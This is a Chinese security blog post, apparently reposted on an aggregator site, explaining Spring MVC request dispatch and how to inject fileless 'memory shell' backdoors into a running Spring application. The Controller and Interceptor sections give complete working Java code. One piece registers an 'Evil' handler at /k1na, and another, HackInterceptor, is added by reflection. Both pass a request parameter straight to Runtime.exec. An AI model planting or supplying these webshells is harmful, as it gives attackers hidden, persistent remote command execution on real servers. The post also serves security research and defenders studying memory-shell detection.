Java内存马2-Spring内存马

这篇具有很好参考价值的文章主要介绍了Java内存马2-Spring内存马。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Spring内存马

目录
  • Spring内存马
    • 1、Spring&Spring MVC简介
    • 2、环境搭建
    • 3、Controller内存马
    • 4、踩坑日记
    • 5、Interceptor内存马

1、Spring&Spring MVC简介

Spring框架是一个开源的Java应用框架,它提供了一个综合的基础设施,用于构建Java应用程序。Spring框架的主要技术包括:

  • 依赖注入(Dependency Injection)** :Spring框架通过依赖注入来管理组件之间的依赖关系。 这种方式使得组件之间的耦合度降低,更易于测试和维护。
  • 面向切面编程(Aspect-Oriented Programming,AOP)** :Spring框架支持AOP,允许开发人员将横切关注点(如日志记录、性能监控等)从核心业务逻辑中分离出来,提高了代码的模块化和可维护性。
  • 数据访问 :Spring框架提供了对各种数据访问技术的支持,包括JDBC、ORM框架(如Hibernate、MyBatis)、JPA等。
  • 事务管理 :Spring框架提供了强大的事务管理功能,可以通过声明式事务管理或编程式事务管理来管理事务。

Spring MVC是Spring框架中的一个模块,基于MVC(Model-View-Controller)设计模式,将应用程序分为模型(Model)、视图(View)和控制器(Controller)三个部分,以实现分离关注点和更好的代码组织。

SpringMVC中的常用组件:

  • DispatcherServlet:前端控制器,统一处理请求和响应,整个流程控制的中心,由它调用其它组件处理用户的请求
  • Handler:处理器,在DispatcherServlet的控制下Handler对具体的用户请求进行处理
  • HandlerMapping:处理器映射器,根据请求的url、method等信息查找Handler,即控制器方法
  • HandlerAdapter:处理器适配器,通过HandlerAdapter对处理器(控制器方法)进行执行
  • View:视图,将模型数据通过页面展示给用户
  • ViewResolver:视图解析器,进行视图解析,得到相应的视图,例如ThymeleafView

SpringMVC执行流程大致如下:

  1. 用户发起请求: 用户通过浏览器或其他客户端向服务器发送HTTP请求。
  2. DispatcherServlet拦截请求: 请求被服务器接收后,DispatcherServlet拦截到该请求。
  3. HandlerInterceptor的preHandle方法(preHandler)执行: 在DispatcherServlet确定处理器之前,会先执行所有配置的HandlerInterceptor的preHandle方法。HandlerInterceptor是Spring MVC提供的拦截器接口,它可以在请求处理之前、请求处理之后和视图渲染之后执行一些自定义的逻辑。在preHandle方法中,可以进行一些预处理操作,例如权限验证、日志记录等。
  4. HandlerMapping确定处理器: DispatcherServlet通过HandlerMapping来确定请求的处理器(Handler),HandlerMapping将请求映射到相应的Controller类的方法上。
  5. Controller处理请求: 一旦确定了处理器,DispatcherServlet就会调用相应的Controller类的方法来处理请求。Controller方法执行业务逻辑,并返回一个ModelAndView对象。
  6. HandlerInterceptor的postHandle方法(postHandler)执行: 在Controller方法执行完毕并且视图渲染之前,会执行所有配置的HandlerInterceptor的postHandle方法。在postHandle方法中,可以对Controller处理结果进行一些处理,例如添加一些公共的模型数据、记录响应时间等。
  7. ModelAndView包含数据和视图信息: Controller方法执行完毕后,会返回一个ModelAndView对象,其中包含了处理结果数据以及要显示的视图的信息。
  8. 视图解析器解析视图: DispatcherServlet将ModelAndView中的视图名交给视图解析器(ViewResolver)来解析成实际的视图对象。
  9. 视图渲染: 视图对象负责将模型数据渲染到客户端,最终生成HTML等内容返回给客户端。

2、环境搭建

Tomcat版本为9.0.80,SpringMVC版本为5.3.1,依赖如下:

<dependencies>
    <!-- SpringMVC -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.3.1</version>
    </dependency>
    <!-- 日志 -->
    <dependency>
        <groupId>ch.qos.logback</groupId>
        <artifactId>logback-classic</artifactId>
        <version>1.2.3</version>
    </dependency>
    <!-- ServletAPI -->
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>3.1.0</version>
        <scope>provided</scope>
    </dependency>
    <!-- Spring5和Thymeleaf整合包 -->
    <dependency>
        <groupId>org.thymeleaf</groupId>
        <artifactId>thymeleaf-spring5</artifactId>
        <version>3.0.12.RELEASE</version>
    </dependency>

    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>4.0.1</version>
        <scope>provided</scope>
    </dependency>
    <dependency>
        <groupId>org.junit.jupiter</groupId>
        <artifactId>junit-jupiter-api</artifactId>
        <version>${junit.version}</version>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>org.junit.jupiter</groupId>
        <artifactId>junit-jupiter-engine</artifactId>
        <version>${junit.version}</version>
        <scope>test</scope>
    </dependency>
</dependencies>

web.xml文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <!-- 配置SpringMVC的前端控制器,对请求统一进行处理 -->
    <servlet>
        <servlet-name>springmvc</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:/springmvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>springmvc</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

Springmvc.xmlt配置文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
        <!-- 自动扫描组件 -->
    <context:component-scan base-package="com.example.springmshell.controller"></context:component-scan>
    <!-- 配置Thymeleaf视图解析器 -->
    <bean id="viewResolver"
          class="org.thymeleaf.spring5.view.ThymeleafViewResolver">
        <property name="order" value="1"/>
        <property name="characterEncoding" value="UTF-8"/>
        <property name="templateEngine">
            <bean class="org.thymeleaf.spring5.SpringTemplateEngine">
                <property name="templateResolver">
                    <bean
                            class="org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver">
                        <!-- 视图前缀 -->
                        <property name="prefix" value="/WEB-INF/templates/"/>
                        <!-- 视图后缀 -->
                        <property name="suffix" value=".html"/>
                        <property name="templateMode" value="HTML5"/>
                        <property name="characterEncoding" value="UTF-8" />
                    </bean>
                </property>
            </bean>
        </property>
    </bean>
</beans>

创建Controller;

@Controller
public class HelloController {

    @RequestMapping("/")
    public String hello(){
        return "index";
    }
}

启tomcat并成功跳转到classpath/WEB-INF/templates/index.html则成功;

3、Controller内存马

断点位置:

Java内存马2-Spring内存马

方法调用栈大致如下:

Java内存马2-Spring内存马

DispatcherServlet本质上是一个 Servlet,遵循 Servlet 的生命周期。所以宏观上是 Servlet 生命周期来进行调度;下面是继承实现图:
Java内存马2-Spring内存马

所以在方法调用栈中可以看到先从HttpServlet#service方法开始,一路调用到DispatcherServlet的doService方法;所以将断点下到doService方法;

Java内存马2-Spring内存马

来到doDispatch方法,跟进;

Java内存马2-Spring内存马

Java内存马2-Spring内存马

执行完getHandler(processedRequest)函数后就已经找到了需要处理请求对应的处理器和处理器方法,所以跟进,看怎么找到的;

Java内存马2-Spring内存马

Java内存马2-Spring内存马

故继续跟进到mapping.getHandler(request)

Java内存马2-Spring内存马

Java内存马2-Spring内存马

Java内存马2-Spring内存马

这里先看一下MappingRegisty:

MappingRegistryAbstractHandlerMethodMapping类的内部类,它的作用大致如下:

  1. 注册映射关系: 它提供了方法用于注册请求路径与处理器方法之间的映射关系。 当一个新的处理器方法被添加到 MappingRegistry中时,它会将请求路径与该方法建立映射关系。
  2. 查找映射关系: 它提供了方法用于查找请求路径对应的处理器方法。当DispatcherServlet接收到一个请求时,它会调用MappingRegistry的方法来查找请求路径对应的处理器方法。
  3. 处理映射冲突: 如果多个处理器方法都匹配了同一个请求路径, MappingRegistry会处理这种映射冲突。 它可能会根据一些策略来确定最终选择哪个处理器方法。
  4. 维护映射关系: MappingRegistry还负责维护请求路径与处理器方法之间的映射关系的一致性。例如,在动态注册或取消注册处理器方法时,它会相应地更新映射关系。

Java内存马2-Spring内存马

先回来,跟进lookupHandlerMethod方法;

Java内存马2-Spring内存马

这段代码的大致意思就是根据请求尝试从直接路径匹配中获取处理器方法。如果直接路径匹配未找到匹配的处理器方法,则遍历所有注册的路径,将匹配的处理器方法添加到 matches 列表中。接着,它选择最佳匹配的处理器方法,并处理匹配结果。如果没有匹配到处理器方法,则处理无匹配的情况。

当前请求为/,那么能够找到对应的处理器方法,接下来再看看addMatchingMappings

Java内存马2-Spring内存马

这里就会获取匹配的处理器方法并且保存了;

Java内存马2-Spring内存马

跟到这里自然想到,HandlerMethod是在下面的方法中获取的,首先查看这个方法;

Java内存马2-Spring内存马

发现是MappingRegistry(这是个内部类)中的一个final属性;

Java内存马2-Spring内存马

可以直接从registry下手,这里先跟进getHandlerMethod,跟进;发现构造器中传递了这个参数,那看哪些方法调用了这个构造器;

Java内存马2-Spring内存马

发现register方法中调用了这个构造器。看哪里调用了register
Java内存马2-Spring内存马

Java内存马2-Spring内存马

发现registerMappingregisterHandlerMethod方法中调用了这个方法;再分别查看这两个方法被谁调用了(目前还在抽象类中);

Java内存马2-Spring内存马

Java内存马2-Spring内存马

最终发现在其实现类RequestMappingHandlerMapping中调用了;

Java内存马2-Spring内存马

跟到这里发现,只要调用mappingRegistry.register()RequestMappingHandlerMapping中的registerMapping方法(本质上也是调用mappingRegistry.register()),那么就可以向mappingRegistry中添加HandlerMethod,从而注册内存马;

查看registerMapping方法如下:

@Override
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
    super.registerMapping(mapping, handler, method);
    updateConsumesCondition(mapping, method);
}
  • mapping:表示请求映射信息,包括了请求路径、请求方法、请求参数、请求头等信息,它是 RequestMappingInfo类型的对象。
  • handler:表示处理器对象,通常是一个Controller类的实例,用于处理具体的请求。
  • method:表示处理器方法,即处理器对象中用于处理具体请求的方法

再看看RequestMappingInfo的结构;它实现了 RequestCondition<RequestMappingInfo>接口,用于封装请求的各种条件,包括请求路径、请求方法、请求参数、请求头等信息。主要参数如下:

  • patternsCondition:用于表示请求路径的条件,即请求的URL路径。 可以包含多个路径模式,用于匹配多个URL。
  • methodsCondition:用于表示请求方法的条件,即请求的HTTP方法(GET、POST等)。
  • paramsCondition:用于表示请求参数的条件,即请求中携带的参数。
  • headersCondition:用于表示请求头的条件,即请求中携带的头信息。

Java内存马2-Spring内存马

其中对我们比较重要的是patternsConditionmethodsCondition,有了这个两个参数,在找到了Controller之后就可以根据请求方法和路径匹配到具体处理请求的方法;

PatternsRequestCondition的构造器如下,表示可以传入多个匹配路径;

Java内存马2-Spring内存马

RequestMethodsRequestCondition构造器如下,表示可以传入多种请求方式;如果传入的requestMethods数组为空或为null,那么将methods属性设置为空的不可变集合Collections.emptySet()。表示该RequestMethodsRequestCondition对象不限制任何请求方法,即匹配所有请求方法:

Java内存马2-Spring内存马

registerMapping调用如下:

PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/hack");
RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, requestMethodsRequestCondition, null, null, null, null, null);

//恶意类实例
HelloController helloController = new HelloController();
//指定方法
Method hello = HelloController.class.getMethod("hello");

requestMappingHandlerMapping.registerMapping(requestMappingInfo,helloController,hello);

那么这个RequestMappingHandlerMapping对象就从SpringMVC容器WebApplicationContext中获取就好(注意,这里是大坑,但是先把代码写出来,后面再解释);

完整代码如下:

public class Evil {
    public void cmd(){
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        String command=request.getParameter("cmd");

        if (command!=null){
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }else {
            return;
        }
    }
}
@RestController
public class HackController {
    @RequestMapping("/hack")
    public String registerController() throws Exception {
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/k1na");
        RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition();
        RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, requestMethodsRequestCondition, null, null, null, null, null);

        Evil evil = new Evil();
        Method cmd = Evil.class.getMethod("cmd");

        requestMappingHandlerMapping.registerMapping(requestMappingInfo,evil,cmd);
        return "Evil has been registered";

    }
}

Java内存马2-Spring内存马

Java内存马2-Spring内存马

4、踩坑日记

在获取了WebApplicationContext容器之后试图获取其中的Bean,RequestMappingHandlerMapping对象;

此时发现无论如何都获取不了,容器里根本没有这个Bean;但是程序的功能又一切正常;在经过debug的时候发现,如果按照着中项目结构,RequestMappingHandlerMapping本来就不归SpringMVC容器管理,因为它是被默认放到DispatcherServler中的;

如果在web.xml中配置了DispatcherServlet,并且部署应用程序到Tomcat容器中,那么Tomcat将是管理DispatcherServlet的容器。

此时一个比较方便的解决办法就是在springmvc.xml配置文件中注入一个RequestMappingHandlerMapping对象;

或许可以使用Tomcat容器来获取DispatcherServlet,从而反射获取RequestMappingHandlerMapping,但是还要导入Tomcat核心库,觉得麻烦;

    <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>

具体debug过程如下:

Java内存马2-Spring内存马

发现初始化方法initHandlerMappings

Java内存马2-Spring内存马

Java内存马2-Spring内存马

Java内存马2-Spring内存马

5、Interceptor内存马

Interceptor内存马相比之下比较简单,同样也是利用RequestMappingHandlerMapping;使用其父类AbstractHandlerMapping继承给它的方法adaptedInterceptors进行注册就好,懒得分析了,累了;

代码如下:

    @RequestMapping("/hack2")
    public String registerInterceptor() throws Exception {
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Field adaptInterceptor = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        adaptInterceptor.setAccessible(true);
        List<HandlerInterceptor> list= (List<HandlerInterceptor>) adaptInterceptor.get(requestMappingHandlerMapping);
        list.add(new HackInterceptor());
        return "registerInterceptor success!";
    }
package com.example.springmshell.controller;

import org.aopalliance.intercept.Interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class HackInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if (request.getParameter("cmd2")!=null){
            Runtime.getRuntime().exec(request.getParameter("cmd2"));
        }
        return true;
    }
}

Java内存马2-Spring内存马

Java内存马2-Spring内存马文章来源地址https://www.toymoban.com/news/detail-843880.html

到了这里,关于Java内存马2-Spring内存马的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【PCL自学:目录】PCL简介及主要功能模块介绍 (持续更新)

    当你知道一切都不重要时,世界就是你的了。 ——《瑞克和莫蒂》S3E8   对于从事计算机视觉、机器视觉领域的从业者来说,OpenCV库并不陌生,甚至是我们入门这个领域时的学习的第一个开源库,如果说OpenCV是二维信息处理方面的工兵铲,那PCL(Point Cloud Library)就是在三维

    2024年02月06日
    浏览(50)
  • 【初识c语言】地址及其内存的简介

    晚钟悠然追为你 回声两度为你作答 暗夜逆流而上 树根在秘密发电 你的果园亮了 我径直走向你 带领所有他乡之路 当火焰试穿大雪 日落封存帝国 大地之书翻到此刻 ————节选 北岛《路歌》 一. 内存的简介: 在计算机的组成结构中,有一个很重要的部分,就是 储存器 。

    2024年02月02日
    浏览(40)
  • nginx简介与安装配置,目录结构和配置文件介绍,配置nginx的service管理

    目录 一.nginx简介 1.简介 2.特性 二.nginx安装 1.rpm包方式 (1)下载扩展源 (2)安装扩展rpm包,nginx -V查看配置参数,后面源码安装时要用到 (3)默认的配置文件位置和html存放位置 2.源码方式 (1)建议提前下好所需要的部分包 (2)下载tar.gz包 (3)建议将包解压到/usr/local

    2024年02月04日
    浏览(44)
  • Android内存泄漏分析及检测工具LeakCanary简介,Android进阶

    @Synchronized override fun expectWeaklyReachable( watchedObject: Any, description: String ) { if (!isEnabled()) { return } removeWeaklyReachableObjects() val key = UUID.randomUUID() .toString() val watchUptimeMillis = clock.uptimeMillis() val reference = KeyedWeakReference(watchedObject, key, description, watchUptimeMillis, queue) SharkLog.d { \\\"Watching \\\" +

    2024年04月25日
    浏览(41)
  • Spring Boot项目 目录结构

    根目录: com.zhangziwa.practisesvr 启动类: com.zhangziwa.practisesvr.PractisesvrApplication 实体类: com.zhangziwa.practisesvr.model 数据传输对象(dto): com.zhangziwa.practisesvr.dto 视图包装对象(vo)推荐: com.zhangziwa.practisesvr.vo 数据接口访问层(Dao): com.zhangziwa.practisesvr.mapper 数据服务接口层(S

    2024年01月25日
    浏览(41)
  • 第二篇:简介、目录及视频配套广告 - IAB视频广告标准《数字视频和有线电视广告格式指南》

    - 我为什么要翻译介绍美国人工智能科技公司IAB系列(2) 写在前面         谈及到中国企业走入国际市场,拓展海外营销渠道的时候,如果单纯依靠一个小公司去国外做广告,拉渠道,找代理公司,从售前到售后,都是非常不现实的。我们可以回想一下40年前,30年前,20年

    2024年03月27日
    浏览(44)
  • nginx上web服务的基本安全优化、服务性能优化、访问日志优化、目录资源优化和防盗链配置简介

    目录 一.基本安全优化 1.隐藏nginx软件版本信息 2.更改源码来隐藏软件名和版本 (1)修改第一个文件(核心头文件),在nginx安装目录下找到这个文件并修改 (2)第二个文件 (3)第三个文件,内置响应信息页面 (4)第四个文件 (5)重新编译安装并重启 3.更改nginx服务的默

    2024年02月13日
    浏览(45)
  • 【Spring】1—Spring简介

    ⭐⭐⭐⭐⭐⭐ Github主页👉https://github.com/A-BigTree 笔记链接👉https://github.com/A-BigTree/Code_Learning ⭐⭐⭐⭐⭐⭐ 如果可以,麻烦各位看官顺手点个star~😊 如果文章对你有所帮助,可以点赞👍收藏⭐支持一下博主~😆 Spring官网:Spring Home Spring Framework :Spring的基础框架,可以视为

    2023年04月20日
    浏览(40)
  • ARMv8内存属性与类型(Memory types and attributes)简介

    ARMv8中将内存分为两种类型:Normal memory和Device memory,Normal memory适用于系统中的大部分内存,而Device memory则适用于外设所使用的内存。 目录 1,Normal Memory 1.1 Shareable Normal Memory 1.1.1 Inner Shareable, and Outer Shareable属性 1.2 Non-shareable Normal memory 1.3 Cacheability attributes for Normal memory 2,

    2024年02月08日
    浏览(44)
  • servlet -> spring-mvc -> spring-boot-> spring-security目录

    springMVC 启动源码 spring-boot注册servlet 3.多种方式注册servlet spring-boot自动注入DispatchServlet spring-security核心配置解读(粗) spring-security源码解读(新)

    2024年02月09日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包